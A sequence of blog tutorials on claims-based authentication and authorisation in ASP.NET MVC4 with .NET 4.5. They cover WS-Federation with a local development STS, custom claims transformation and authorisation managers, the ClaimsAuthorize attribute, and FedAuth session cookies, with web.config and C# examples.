Claims-based authentication in .NET4.5 MVC4 with C#: External authentication with WS-Federation Part 1

Our model MVC4 internet applications in this series had one important feature in common: they all provided the authentication logic internally.

This is the traditional approach to logging in on a web page: there is a login page within the application which provides the gateway to the protected parts of the website. Upon providing the login credentials and pressing the ‘Log in’ button the web application will check the the validity of those credentials against some data store and accept or reject the request.

We will build on the demo application from the previous post on claims in MVC4. If you are new to Claims in .NET4.5 then I’d recommend that you start from the beginning.

External authentication: introduction

There are several reasons why the internal auth approach might not be the most suitable one:

  • This is not a trivial exercise: logging in and out must happen in a secure way
  • Your attention therefore may be diverted from the ‘true’ purpose of your application, i.e. the very reason for its existence
  • You may not like programming in Security-related topics which holds you back from writing the ‘real’ application logic of your app
  • Multiple authentication types are often problematic to implement: you can typically only provide one specific type of authentication on your site and it’s usually a Forms-based one
  • As the auth logic is internal to your app it is difficult to re-use in other apps that need the same type of login: the result is a copy-paste type of horror

Thus it would be nice to somehow factor out the authentication logic in a separate project/application which can perform the authentication for your web app and for any other apps that also need authentication against the same user store. The benefits of such a scenario are the following:

  • Multiple applications can share the login logic
  • Keep the authentication logic in one place and avoid the copy-paste scenario: if the logic changes it will be automatically propagated in all consuming applications, also called the RELYING PARTIES
  • It’s possible to re-use the auth session across several applications so that the user does not need to log in on multiple sites: this is called Single SignOn
  • The external apps, i.e. the relying parties can get rid of their internal auth data allowing developers to concentrate on the ‘real stuff’
  • The responsibilities are more clearly divided: the relying party carries out the business logic and the auth app takes care of the authentication
  • The relying parties can establish a trust relationship with the auth app using Federation: this is important as the external apps should not blindly accept a authentication result as it may come from an unreliable source
  • The team of developers can be divided up more efficiently: domain experts who work on the real business logic and security experts that work on the authentication and user store part
  • You can put the external auth app anywhere: on a different physical server, in the cloud, behind some web service, etc.
  • Your web app can be set up to accept claims from multiple authentication services: as long as the claims are coming from a trusted source your web app will not care which one they are coming from

What would such a scenario look like? First I’ll try to describe the scenario in words.

The external authentication app we have been talking about is called a Security Token Service, or an STS in short. It is also called an Identity Provider. The STS is a normal website with its own login page sitting on some web server.

Imagine the following:

  • You have a web page that relies on external authentication
  • Thus it will be void of all types of auth logic and it will have no Login page either
  • A client wishes to reach a protected page within your web app
  • The client will then be redirected to the LOGIN PAGE OF THE STS
  • The STS performs the authentication and issues a security token to the client upon successful login
  • This token, which we’ll talk more about later, probably does not include too many claims: user ID, user name, email
  • This token will also include an identifier that identifies the issuer of the token in a reliable way
  • The token is sent back to the client which is then redirected to the external application where the user originally wanted to log in
  • The relying party inspects the token, checks the issuer, maybe transforms the claims and can reject or accept the user depending on the validity of the token and the claims within the token
  • Example: if the issuer of the token is not coming from a trusted auth service, the signature in the token has been tampered with or an important claim is missing or is malformed then you can still reject the request in your web app very early on
  • If everything is fine with the token then the relying web app will establish a ClaimsPrincipal the same way as we saw before in related blog posts

The flow can be shown graphically as follows:

An STS model

The security token is meaningless for the client. As mentioned above, it will be used by your web app to check its validity, transform the claims etc. Also, just to stress the point, it is not important any more where the STS is located.

Security Assertion Markup Language: SAML

You may be wondering what the security token issued by the STS looks like. There are some standard and certainly lots of company-specific formats out there. The default in .NET4.5 follows the SAML format, which is sort of a specialised XML. Here comes a portion of such a token from Wikipedia:

SAML example

You’ll see the Issuer, the X509 cert data, i.e. the digital signature and the NameID in the picture. The signature will be used to see if the token has been tampered with after it left the STS and if the issuer is a trusted one. There’s typically not much else shown in a SAML token. It is up to the STS what kind of data it will include in the SAML token. The STS may provide a different set of initial claims depending on the type of application wishing to be authenticated. The good news is that you will not have to work with SAML directly; .NET will translate the XML into Claims automatically. It is also important to note that if you have complete control over the STS then it is up you what you include in the SAML: anything from UserId to EyeColour and FavouriteBand can be sent along.

WS-Federation

The protocol that makes this trust relationship and token communication possible is called WS-Federation. It is a standard and is now available in .NET4.5. The flow of communication in words is as follows:

  • The client tries to access a protected page on your Claims-enabled site by sending a HTTP GET request
  • .NET will see that the request is void of any security token so it will be redirected to the Login page of the STS by another HTTP 302 request
  • The URL of the redirect will include a special query string that may look something like this: wsfed?wa=wsignin1.0&wtrealm=[ID of relying party]
  • The query string says that we want to sign in to a certain Realm, which is the identifier of the relying party, usually its URL
  • Upon successful login the STS somehow needs to send the SAML token to the relying party, so let’s stop here for a second…

The STS will send back a form with method = “POST” which will be redirected from the client to the relying party. This form might look like the following:

<form method="post" action="address of relying party">
    <input name="wresult" value="<saml:assertion..." />
    <script>
        window.setTimeout('document.forms[0].submit()', 0);
    </script>
</form>

The STS attaches the SAML to the value attribute of the input field within the form. The form is then submitted using a very simple piece of embedded JavaScript. Let’s continue with the flow:

  • The form is POSTed back to the relying party from the client
  • The relying party will validate the token and its contents and turn it into an Identity

It’s important to stress that this is not some Microsoft specific framework targeting .NET applications only. WS-Federation is part of the larger WS* family of web service specifications. It can happen that you have an STS built with .NET and a Ruby on Rails web app that you would like to connect to the STS. The fact that the STS was implemented using .NET is an unimportant detail in the bigger picture as the communication is based on a widely accepted standard. If you are in this situation then you need to check if Ruby has built-in support for WS-Federation, which I’m pretty sure it does although I know precious little about that framework.

Security Token Service

What does an actual STS look like then? There are several commercial products out there. Examples:

.NET4.5 includes base classes that allow you to build your own STS. Beware though that this is not a trivial exercise. You must be very knowledgeable and experienced in programming Security.

There’s an open source STS available on GitHub: Thinktecture IdentityServer which we’ll take a closer look at in the next blog post.

For now you won’t need any of the real STS solutions out there while developing your solution. You can download an extension to Visual Studio which enables you to use a Development STS with pre-set claims. We will use this in the demo.

Demo

You will need to download and install the Identity and Access Tool extension from here for the demo.

This is a great tool for development purposes; you won’t need a real STS but you can still write your code that accepts the security token as if it comes from a real STS. Then when you’re done you simply replace the tool with the STS of your choice.

Open the MVC4 application from the previous post. As it currently stands this application still uses Forms-based authentication and we’ll try to convert it to a Claims-based one.

Before we change anything let’s note some important identity-related aspects of web.config:

1. We have our system.identityModel section where we registered the custom authentication and custom authorisation managers:

<system.identityModel>
    <identityConfiguration>
      <claimsAuthenticationManager type="ClaimsInMvc4.CustomClaimsTransformer,ClaimsInMvc4" />
      <claimsAuthorizationManager type="ClaimsInMvc4.CustomAuthorisationManager,ClaimsInMvc4" />
    </identityConfiguration>
  </system.identityModel>

2. We let users log in by their usernames and passwords on our login page:

<authentication mode="Forms">
      <forms loginUrl="~/Account/Login" timeout="2880" />
    </authentication>

3. We registered a session authentication module under the modules node:

<modules>
      <add name="SessionAuthenticationModule" type="System.IdentityModel.Services.SessionAuthenticationModule, System.IdentityModel.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"></add>
</modules>

4. There is no authorization element, meaning we let anonymous users view the unprotected pages of the website.

Upon successful installation of the Identity and Access Tool you should see a new menu point when you right-click the project:

Identity tool menu point

Click on the underlined menu point which will open up the Identity and Access window:

Identity and access window

You have here a number of options to add an STS to your project:

  • Local Development STS is the one you’ll want to use for development purposes if you don’t have a real STS available
  • A business identity provider, like the ones listed above, e.g. Oracle
  • An Azure cloud based STS

Select the first option. You can then select the ‘Local Development STS’ tab:

Local development STS tab

You will see a list of test claims that the web application will receive, such as the name ‘Terry’. Again, keep in mind that there’s no way to directly log on to a fully claims-based web app; here we pretend that an external STS is sending these claims to your application after a user has successfully signed in on the login page of the STS. You can configure this list according to the needs of your token validation and authorisation logic.

Change the value of the name claim, i.e. the very first one to the name of the user you created in the previous blog posts, so I’ve changed mine to ‘Andras’.

You can select the SAML version: either 1.1 or 2.0. This depends on the available versions of the STS of your choice. In our case it doesn’t make any difference, so leave option 1.1 selected.

Click OK and let’s see what happens. At first you won’t see any changes. Let’s inspect web.config though:

1. The system.identityModel has been extended to include claims-related elements:

<system.identityModel>
    <identityConfiguration>
      <claimsAuthenticationManager type="ClaimsMvc.CustomClaimsTransformer,ClaimsMvc" />
      <claimsAuthorizationManager type="ClaimsMvc.CustomAuthorisationManager,ClaimsMvc" />
      <audienceUris>
        <add value="http://localhost:2533/" />
      </audienceUris>
      <issuerNameRegistry type="System.IdentityModel.Tokens.ValidatingIssuerNameRegistry, System.IdentityModel.Tokens.ValidatingIssuerNameRegistry">
        <authority name="LocalSTS">
          <keys>
            <add thumbprint="9B74CB2F320F7AAFC156E1252270B1DC01EF40D0" />
          </keys>
          <validIssuers>
            <add name="LocalSTS" />
          </validIssuers>
        </authority>
      </issuerNameRegistry>
      <certificateValidation certificateValidationMode="None" />
    </identityConfiguration>
  </system.identityModel>

We will discuss these elements in more detail in the next blog post. Note the following: the Identity and Access Tool is periodically updated and can be downloaded from within Visual Studio. Select Extensions and Updates… in the Tools menu. Make sure you check if there are any updates available under the Updates menu point:

Tools updates in Visual Studio

When I published the first version of this post – some time in March 2013 – the above XML was slightly different. I updated the Identity and Access Tool on 12 May 2013 which yielded the above system.identityModel node. It is possible that when you read this post the Access Tool will again yield something different. Let me know in the comments section if you notice a change and I’ll update this post accordingly.

2. Forms-based login is gone:

<authentication mode="None" />

3. The modules element has been extended with WS-Federation:

<modules>
      <add name="SessionAuthenticationModule" type="System.IdentityModel.Services.SessionAuthenticationModule, System.IdentityModel.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
      </add>
      <remove name="FormsAuthentication" />
      <add name="WSFederationAuthenticationModule" type="System.IdentityModel.Services.WSFederationAuthenticationModule, System.IdentityModel.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" preCondition="managedHandler" />
    </modules>

4. By default we’ll deny access to anonymous users:

<authorization>
      <deny users="?" />
    </authorization>

Run the application and you may be greeted with the following error message:

Must have admin rights to local STS

If you started VS in admin mode then you shouldn’t see this, I’ll just restart mine.

Watch the browser bar carefully while the page is loading. At some point there should be a URL similar to this:

http://localhost:12175/wsFederationSTS/Issue/?wa=wsignin1.0&wtrealm=http%3a%2f%2flocalhost%3a2533%2f&wctx=rm%3d0%26id%3dpassive%26ru%3d%252f&wct=2013-05-12T12%3a22%3a58Z

This is the external ‘login page’, but there’s of course no external login page of the model STS. This is what’s happening:

  • Web.config has been changed by the identity tool to deny access to all anonymous users
  • When you run the application you will initially be an anonymous user
  • Your request is redirected to the model STS page on localhost:12175. Remember that this was the port number that we selected in the Identity and Access window. Don’t worry if yours has a different port number, it doesn’t make any difference
  • You will probably recognise the format of the URL with ‘?wa=wsignin1.0&wtrealm=’ followed by the URL of the MVC4 website
  • The local STS returns the list of claims we specified in the Identity and Access window
  • The request is redirected to our web page and the user is logged in
  • The request is redirected by the forms-based mechanism we discussed above where the form containing the SAML value of the authentication token was submitted by JavaScript

Recall that we protected the About page with the ClaimsAuthorize attribute:

[ClaimsAuthorize("Show", "Code")]
        public ActionResult About()

…which will activate our custom authorisation logic in CustomAuthorisationManager.cs:

public class CustomAuthorisationManager : ClaimsAuthorizationManager
    {
        public override bool CheckAccess(AuthorizationContext context)
        {
            string resource = context.Resource.First().Value;
            string action = context.Action.First().Value;

            if (action == "Show" && resource == "Code")
            {
                bool livesInSweden = context.Principal.HasClaim(ClaimTypes.Country, "Sweden");
                bool isAndras = context.Principal.HasClaim(ClaimTypes.GivenName, "Andras");
                return isAndras && livesInSweden;
            }

            return false;
        }
    }

Add two breakpoints to the application: one within CustomClaimsTransformer.Authenticate and one within CustomAuthorisationManager.CheckAccess. Re-run the application. If the code execution hasn’t stopped then click the Log off link to force a new ‘login’ via the local STS. Code execution should stop at CustomClaimsTransformer.Authenticate. This is good news as our custom auth manager still kicks in and dresses up the Principal with our custom claims…:

private ClaimsPrincipal DressUpPrincipal(String userName)
        {
            List<Claim> claims = new List<Claim>();

            //simulate database lookup
            if (userName.IndexOf("andras", StringComparison.InvariantCultureIgnoreCase) > -1)
            {
                claims.Add(new Claim(ClaimTypes.Country, "Sweden"));
                claims.Add(new Claim(ClaimTypes.GivenName, "Andras"));
                claims.Add(new Claim(ClaimTypes.Name, "Andras"));
                claims.Add(new Claim(ClaimTypes.NameIdentifier, "Andras"));
                claims.Add(new Claim(ClaimTypes.Role, "IT"));
            }
            else
            {
                claims.Add(new Claim(ClaimTypes.GivenName, userName));
                claims.Add(new Claim(ClaimTypes.Name, userName));
                claims.Add(new Claim(ClaimTypes.NameIdentifier, userName));
            }

            return new ClaimsPrincipal(new ClaimsIdentity(claims, "Custom"));
        }

…and also establishes the authentication session as per the CreateSession method. Now click the About link on the front page. As this is a protected page code execution will stop within CustomAuthorisationManager.CheckAccess which shows that even this custom manager class works as it should. Upon successful authorisation the About page should load as expected.

So our previous investments are still worth the effort. The external login doesn’t invalidate our claims authentication and claims transformation logic.

In the next post we’ll look at the changes in web.config in more details and hook up our MVC4 with a real STS.

You can view the list of posts on Security and Cryptography here.

Claims-based authentication in MVC4 with .NET4.5 C# part 3: claims based authorisation

In the previous post we discussed how to the save the authentication session so that we didn’t need to perform the same auth logic on every page request. In this post we will look at how authorisation can be performed using claims in an MVC project.

Introduction

There are two main approaches to authorisation in an ASP.NET web application: pipeline authorisation and Intra-app authorisation.

Pipeline auth means performing coarse grained, URL-based authorisation. You may require the presence of a valid auth header in every request that comes to your server. Or the authenticated user must be in a certain Role in order to reach a certain protected URL. The advantage with this approach is that authorisation happens very early in the application lifecycle so you can reject a request very early on. In this scenario you will typically have little info about the user and what resource they are trying to access but these can be enough to reject a large number of users.

An example of pipeline auth in our simple MVC4 web we’ve been working on this series can be found in CustomClaimsTransformer.Authenticate. This is the stage where you can check the presence of a certain claim that your auth logic absolutely must have in order to make an early decision. If it’s missing, then you may not care about what the user is trying to do, the request will be rejected.

Another example of pipeline auth comes from the good old ‘location’ elements in an ASP.NET web forms config where you could specify URL-based auth:

<location path="customers">
    <system.web>
      <authorization>
        <allow roles="IT"/>
        <deny users="*"/>
      </authorization>
    </system.web>
  </location>

This is an acceptable approach in web-forms projects where the URL has a close affinity to the project file system, i.e. the value of the ‘path’ attribute represents an .aspx file. In MVC /Customers will of course not lead to an aspx page called Customers. In MVC urls and resources are unlikely to have a one-to-one match. You don’t call physical files the same way as in a web-forms app. If the routing mechanism is changed then the path attribute will be meaningless. So all of a sudden people will have access to previously protected parts of your web app. Generally try to avoid this approach in an MVC application as it creates a tight coupling between the routing table and the project file structure.

Yet another example of pipeline auth is the ClaimsAuthorisationManager which can be registered in the web.config. This will sound familiar to you if you looked at the post on the very basics of claims. This is also a URL based approach, but it’s based on Claims and not Roles.

Intra-app auth on the other hand means fine-grained checks within your code logic. The benefit is that you have the chance to collect as much information as possible about the user and the resources they are trying to use. Then you can tweak your authorisation logic on a wider information basis. In this scenario you will have more info on the user and make your reject/accept decision later in the app lifecycle than in the Pipeline auth scenario.

A definite advantage of this approach is that it is not URL based any more so it is independent of the routing tables. You will have more knowledge about the authorisation domain because you’ll typically know exactly what claims the user holds and what they are trying to achieve on your site.

PrincipalPermission and ClaimsPrincipalPermission

You can follow a declarative approach using the ClaimsPrincipalPermission attribute or an imperative one within the method body. Either way you’ll work with Claims and not Roles as in the ‘old’ days with the well-known ‘Role=”IT”‘ and .IsInRole(“Admin”) type of checks:

[PrincipalPermission(SecurityAction.Demand, Role="IT")]

The old way of performing authorisation is not recommended now that we have access to claims in .NET4.5. Roles encouraged you to mix authorisation and business logic and they were limited to, well, Roles as the way of controlling access. However, you might have required more fine-grained control over your decision making. Then you ended up with specialised roles, like Admin, SuperAdmin, SuperSuperAdmin, MarketingOnThirdFloor etc. Decorating your methods with the PrincipalPermission attribute also disrupts unit testing as even the unit testing thread must have a User in the Role specified in the attribute. Also, if the current principal is not in the required group then an ugly security exception is thrown which you have to deal with somehow.

In this post we saw a detailed discussion on the ClaimsPrincipalPermission which replaces the PrincipalPermission. Here comes an example to refresh your memory:

[ClaimsPrincipalPermission(SecurityAction.Demand, Operation="Show", Resource="Code")]

In short: we don’t care which group or role the user is in any longer. This attribute describes the method it decorates. It involves a ‘Show’ operation on the ‘Code’ resource. If the current user wants to run this method then they better make sure that they have these claims. It will be the ClaimsAuthorizationManager that decides if the current principal is allowed to call the action ‘Show’ on the resource ‘Code’. The principal still must have certain claims, just like they had to be in a certain Role before. However, the authorisation logic is now separated out to a different part of the application. You can even have that logic in a web service on a different machine so that the auth logic can be handled entirely separately from your application.

Another benefit is the following: what constitutes a certain Role can change over time. What is ‘IT’? Who belongs to that group? So later on you may have to come back to every method with the attribute ‘Role=”IT”‘ and change it to e.g. “Geeks” because ‘IT’ has changed its definition at your company. On the other hand a method that has the function to ‘Show’ a resource called ‘Code’ will probably have that function over a long time, possible over the entire life time of the finalised production version of the application.

So, this attribute solves some of the problems with the PrincipalPermission. However, it does not solve all of them. It still gets in the way of unit testing and it still throws a SecurityException.

The Authorize attribute

The MVC ‘equivalent’ of the ClaimsPrincipal attribute is the Authorize attribute. It is still limited to roles:

[Authorize]
public ActionResult ShowMeTheCode()

[Authorize(Roles="IT")]
public ActionResult ShowMeTheCode()

It does not use the action/resource properties of the method and you still mix your auth logic with the ‘real’ application code leading to the same Separation of Concerns problem we mentioned above. However, this attribute is not invoked during unit testing and it does not throw Exceptions either. Instead, it returns a 404 which is a lot nicer way of dealing with unauthorised access.

We are only one step from the MVC4 claims-based authorisation nirvana. It would be great to have an Authorize attribute where you can specify the Resource and the Action just like in the case of ClaimsPrincipalPermission. You could derive from the existing Authorize attribute and implement this kind of logic there. The good news is that this has been done for you and it can be downloaded from NuGet. The NuGet package includes the imperative equivalent of the declarative attribute as well. So if you need to check if the user has access rights within a certain method, then there’s a claims-enabled solution in MVC4. We’ll use this attribute in the demo.

Demo

The initial steps of building the authorisation module have been outlined in this blog post. I will not repeat all of the details here again.

Open up the project where we left off in the previous blog post. If you remember then we included a CustomClaimsTransformer class to implement our own claims transformation logic. This is our claims based authentication module. We would like to extend the project to include authorisation as well.

First add a new class to the web project called CustomAuthorisationManager. It will need to derive from ClaimsAuthorizationManager in the System.Security.Claims namespace:

public class CustomAuthorisationManager : ClaimsAuthorizationManager
    {
        public override bool CheckAccess(AuthorizationContext context)
        {
            return base.CheckAccess(context);
        }
    }

Recall that you can extract the Resource, the Action and the Principal from the AuthorizationContext object parameter.

Now let’s say we want to make sure that only those with the name Andras who live in Sweden are allowed to view the code. I would do it as follows:

public override bool CheckAccess(AuthorizationContext context)
        {
            string resource = context.Resource.First().Value;
            string action = context.Action.First().Value;

            if (action == "Show" && resource == "Code")
            {
                bool livesInSweden = context.Principal.HasClaim(ClaimTypes.Country, "Sweden");
                bool isAndras = context.Principal.HasClaim(ClaimTypes.GivenName, "Andras");
                return isAndras && livesInSweden;
            }

            return false;
        }

Set a breakpoint at the first row of the method body, we’ll need it later.

This should be straightforward: we extract the Action and the Resource – note that there can be multiple values, hence the ‘First()’ – and then check where the user lives and what their given name is. If those claims are missing or are not set to the required values then we return false.

Next we have to register this class in the web.config under the claimsAuthenticationManager we registered in the previous part:

<system.identityModel>
    <identityConfiguration>
      <claimsAuthenticationManager type="ClaimsInMvc4.CustomClaimsTransformer,ClaimsInMvc4" />
      <claimsAuthorizationManager type="ClaimsInMvc4.CustomAuthorisationManager,ClaimsInMvc4"/>
    </identityConfiguration>
  </system.identityModel>

The type attribute is formatted as follows: [namespace.classname],[assembly].

Next we want to make sure that this logic is called when a protected action is called. We will try the claims-enabled version of the MVC4 Authorize attribute. Right-click ‘References’ and select ‘Manage NuGet Packages…’. Search for ‘Thinktecture’ and install the below package:

Thinktecture auth package NuGet

This package will give you access to a new attribute called ClaimsAuthorize where you can pass in the Action and Resource parameters.

Imagine that our About page includes some highly sensitive data that can only be viewed by the ones specified in CustomAuthorisationManager.CheckAccess. So let’s decorate the About action of the Home controller. Note that the attribute comes in two versions: one for MVC4 and one for WebAPI. If you haven’t heard of Web API, then it is a technology to build RESTful web services whose structure is very much based on MVC. You can read more about it here.

Reference the version for Mvc:

Two versions of claims authorize

…and decorate the About action as follows:

[ClaimsAuthorize("Show", "Code")]
        public ActionResult About()
        {
            ViewBag.Message = "Your app description page.";

            return View();
        }

This is telling us that the About action will perform a ‘Show’ action on the resource called ‘Code’.

Run the application now. Click on the ‘About’ link without logging in first. You should be redirected to the Log-in page. Enter the username and password and press the ‘Log in’ button. If everything went well then code execution should stop at our breakpoint within CustomAuthorisationManager.CheckAccess. Step through the method using F11 to see what happens. You can even inspect the AuthorizationContext object in the Locals window to see what it contains:

AuthorizationContext object

If the logged on user has the correct claims then you should be redirected to the About page. I will here again stress the point of getting away from the traditional Roles based authorisation of ASP.NET. We are not dealing with Roles any longer. We do not care who is in which group. Instead we describe using the Action and Resource parameters of the ClaimsAuthorize attribute what the logged on user is trying to achieve on our website. Based on that information we can make a better decision using the claims of the user whether to allow or deny access. The auth logic is separated away from the ‘real’ application in a class on its own which is called automatically if it is registered in web.config. The auth logic can even be ‘outsourced’ to a web service which can even be the basis of a separate user management application.

You can specify multiple Resource values in the attribute as follows:

[ClaimsAuthorize("Show", "Code", "TvProgram", "Fireworks")]
        public ActionResult About()
        {
            ViewBag.Message = "Your app description page.";

            return View();
        }

…i.e. you just pass in the names of the Resources after the Action.

You can achieve the same imperatively within the method body as follows:

public ActionResult About()
        {
            if (ClaimsAuthorization.CheckAccess("Show", "Code"))
            {
                ViewBag.Message = "This is the secret code.";
            }
            else
            {
                ViewBag.Message = "Too bad.";
            }

            return View();
        }

The CheckAccess method has an overloaded version which accepts an AuthorizationContext object, which gives the highest degree of freedom to specify all the resources and actions that are needed by the auth logic.

In case you wish to protect the entire controller, then it’s possible as well:

[ClaimsAuthorize("Show", "Everything")]
    public class HomeController : Controller

If you want to apply the attribute to the entire application you can do it by adding the attribute to the global filters in App_Data/FilterConfig as follows:

public class FilterConfig
    {
        public static void RegisterGlobalFilters(GlobalFilterCollection filters)
        {
            filters.Add(new HandleErrorAttribute());
            filters.Add(new ClaimsAuthorizeAttribute());
        }
    }

This discussion should be enough for you to get started with Claims-based authentication and authorisation in an MVC4 internet application. In the next post we’ll start looking at separating out the login mechanism entirely: Single SignOn and Single SignOut.

You can view the list of posts on Security and Cryptography here.

Claims-based authentication in MVC4 with .NET4.5 C# part 2: storing authentication data in an authentication session

In the previous post we built a simple claims-aware MVC4 internet application. We saw that calling the Authenticate method in CustomClaimsTransformer.cs with every page refresh might not be desirable. In this post we’ll look at caching possibilities so that we don’t need to look up the claims of the user in the DB every time they request a page in our website.

Basics

The claims transformation pipeline will look as follows with auth sessions:

Upon the first page request:

  1. Authentication
  2. Claims transformation
  3. Cache the ClaimsPrincipal
  4. Produce the requested page

Upon subsequent page requests:

  1. Authentication
  2. Load cached ClaimsPrincipal
  3. Produce the requested page

You can immediately see the benefit: we skip the claims transformation step after the first page request so we save the potentially expensive DB lookups.

By default the authentication session is saved in a cookie. However, this is customisable and there are some advanced scenarios you can do with the auth session.

The authentication session is represented by an object called SessionSecurityToken. It is a wrapper around a ClaimsPrincipal object and can be read and written to using a SessionSecurityTokenHandler.

Demo

Open the MVC4 project we started building in the previous post. In order to introduce auth session caching we need to start with our web.config, so open that file.

We need to define some config sections for System.identityModel and system.identityModel.services. Add the following sections within the configSection element in web.config:

<section name="system.identityModel" type="System.IdentityModel.Configuration.SystemIdentityModelSection, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089" />
    <section name="system.identityModel.services" type="System.IdentityModel.Services.Configuration.SystemIdentityModelServicesSection, System.IdentityModel.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089" />

Build the application so that even IntelliSense will be aware of the new config sections when you modify web.config later on.

By default the authentication session feature will only work through SSL. This is well and good but may be an overkill for a local demo app. To disable it let’s add the following bit of XML somewhere within the configuration element in web.config:

<system.identityModel.services>
    <federationConfiguration>
      <cookieHandler requireSsl="false" />
    </federationConfiguration>
  </system.identityModel.services>

Remember to turn it on again for the production environment and install your X509 certificate.

The next step in the web.config is to register the module that will handle the auth sessions. Add the following module within the system.webServer element:

<modules>
      <add name="SessionAuthenticationModule" type="System.IdentityModel.Services.SessionAuthenticationModule, System.IdentityModel.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"></add>
    </modules>

This module will be activated at the post-authentication stage. It will attempt to acquire the auth cookie and turn it to a ClaimsPrincipal.

The last step in web.config is to register our custom claims transformation class:

<system.identityModel>
    <identityConfiguration>
      <claimsAuthenticationManager type="ClaimsInMvc4.CustomClaimsTransformer,ClaimsInMvc4"/>
    </identityConfiguration>
  </system.identityModel>

The type value is built up as follows: [namespace.class],[assembly]. You can find the assembly name under the project properties.

We can now register the session in our code. Go to CustomClaimsTransformer.cs and update the Authenticate method as follows:

public override ClaimsPrincipal Authenticate(string resourceName, ClaimsPrincipal incomingPrincipal)
        {
            if (!incomingPrincipal.Identity.IsAuthenticated)
            {
                return base.Authenticate(resourceName, incomingPrincipal);
            }

            ClaimsPrincipal transformedPrincipal = DressUpPrincipal(incomingPrincipal.Identity.Name);

            CreateSession(transformedPrincipal);

            return transformedPrincipal;
        }

…where CreateSession look as follows:

private void CreateSession(ClaimsPrincipal transformedPrincipal)
        {
            SessionSecurityToken sessionSecurityToken = new SessionSecurityToken(transformedPrincipal, TimeSpan.FromHours(8));
            FederatedAuthentication.SessionAuthenticationModule.WriteSessionTokenToCookie(sessionSecurityToken);
        }

We create a SessionSecurityToken object and pass in the transformed principal and an expiration. By default the auth session mechanism works with absolute expiration, we’ll see later how to implement sliding expiration. Then we write that token to a cookie. From this point on we don’t need to run the transformation logic any longer.

Go to Global.asax and comment out the Application_PostAuthenticateRequest() method. We don’t want to run the auth logic upon every page request, so this is redundant code.

Instead we need to change our Login page. Go to Controllers/AccountController.cs and locate the following HTTP POST action:

public ActionResult Login(LoginModel model, string returnUrl)

In there you’ll see the following code bit:

if (ModelState.IsValid && WebSecurity.Login(model.UserName, model.Password, persistCookie: model.RememberMe))
            {
                return RedirectToLocal(returnUrl);
            }

It is here we’ll call our auth session manager to set the auth cookie as follows:

if (ModelState.IsValid && WebSecurity.Login(model.UserName, model.Password, persistCookie: model.RememberMe))
            {
                List<Claim> initialClaims = new List<Claim>();
                initialClaims.Add(new Claim(ClaimTypes.Name, model.UserName));
                ClaimsPrincipal claimsPrincipal = new ClaimsPrincipal(new ClaimsIdentity(initialClaims, "Forms"));
                ClaimsAuthenticationManager authManager = FederatedAuthentication.FederationConfiguration.IdentityConfiguration.ClaimsAuthenticationManager;
                authManager.Authenticate(string.Empty, claimsPrincipal);
                return RedirectToLocal(returnUrl);
            }

We first create an initial set of claims. We only add in the Name claim as it is sufficient for our demo purposes but you’ll need to pass in everything that’s needed by the claims transformation logic in the custom Authenticate method. Then we create a new ClaimsPrincipal object and pass it into our transformation logic which in turn will fetch all the necessary claims about the user and set up the auth session. Note that we new up a ClaimsAuthenticationManager by a long chain of calls, but what that does is that it extracts the registered auth manager from the web.config, which is CustomClaimsTransformer.cs. We finally call the Authenticate method on the auth manager.

This code is slightly more complicated than in pure Forms based auth scenarios where a single call to FormsAuthentication.SetAuthCookie would have sufficed. However, you get a lot more flexibility with claims; you can pass in a whole range of input claims, can call your claims transformation logic and you also get a cookie that serialises the entire claim set.

Set a breakpoint at the first row of CustomClaimsTransformer.Authenticate. Run the application now. There should be no visible difference in the behaviour of the web app, but the underlying authentication plumbing has been changed. One difference in code execution is that the Authenticate method is not called with every page request.

Now log on to the site. Code execution should stop at the break point. Insect the incoming ClaimsPrincipal and you’ll see that the name claim we assigned in the Login action above is readily available:

Name claim available after auth session

Step through the code in CustomClaimsTransformer.cs and you’ll see that the SessionSecurityToken has been established and written to a cookie.

Where is that cookie?

With the web app running in IE press F12 to open the developer tools. Click the Network tab and press Start capturing:

Start capturing developer tools

Click on the About link on the web page. You’ll see that the URL list of the Developer Tool fills up with some items that the page loaded, e.g. site.css. You’ll see a button with the caption ‘Go to detailed view’ to the right of ‘Stop capturing’. This will open a new section with some new tabs. Select the ‘Cookies’ tab. You may see something like this:

Authentication session cookie

I highlighted ‘FedAuth’ which is the default name given the authentication session cookie. Its value is quite big as we’re serialising a whole claim set. Don’t worry much about the size of this long string. If the serialised value becomes too big, then the part that does not fit into FedAuth will be added to another cookie called FedAuth1 and so on. Cookies are partitioned into chunks of 2KB.

You may be wondering what the .ASPXAUTH cookie is doing there, which is the traditional auth cookie set in a forms-based authentication scenario. If you check the code in the Login action again you’ll see a call to WebSecurity.Login. It is here that the .ASPXAUTH cookie will be set. You can read more about WebSecurity in my previous blog posts on Forms auth here and here.

Logging out

This should be easy, right? Just press the Logout link and you’re done. Well, try it! You’ll see that you cannot log out; it will still say Hello, [username]. Recall that the auth session was persisted to a cookie and we specified an absolute expiration of 8 hours. Go to AccountController.cs and locate the Logoff action. You’ll see a call to WebSecurity.Logout() there which only removes the .ASPXAUTH cookie. Check the cookies collection in the Developer Tools:

web security removes aspxauth cookie

However, we still have our FedAuth cookie. So even if you log out, the FedAuth cookie will be sent along every subsequent request and from the point of view of the application you are still authenticated and logged in. Add the following code the the LogOff action in order to remove the FedAuth cookie as well:

FederatedAuthentication.SessionAuthenticationModule.SignOut();

Try again to log on and off, you should succeed.

Events

You can attach events to SessionAuthenticationModule:

  • SessionSecurityTokenReceived: modify the token as you wish, or even cancel it
  • SessionSecurityTokenCreated: modify the session details
  • SignedIn/SignedOut: raise event when the user signs in or out
  • SignOutError: raise event if there is an error when signing out

You can hook up the events in CustomClaimsTransformer.CreateSession as follows:

private void CreateSession(ClaimsPrincipal transformedPrincipal)
        {
            SessionSecurityToken sessionSecurityToken = new SessionSecurityToken(transformedPrincipal, TimeSpan.FromHours(8));            
            FederatedAuthentication.SessionAuthenticationModule.WriteSessionTokenToCookie(sessionSecurityToken);
            FederatedAuthentication.SessionAuthenticationModule.SessionSecurityTokenCreated += SessionAuthenticationModule_SessionSecurityTokenCreated;
        }

        void SessionAuthenticationModule_SessionSecurityTokenCreated(object sender, SessionSecurityTokenCreatedEventArgs e)
        {
            throw new NotImplementedException();
        }

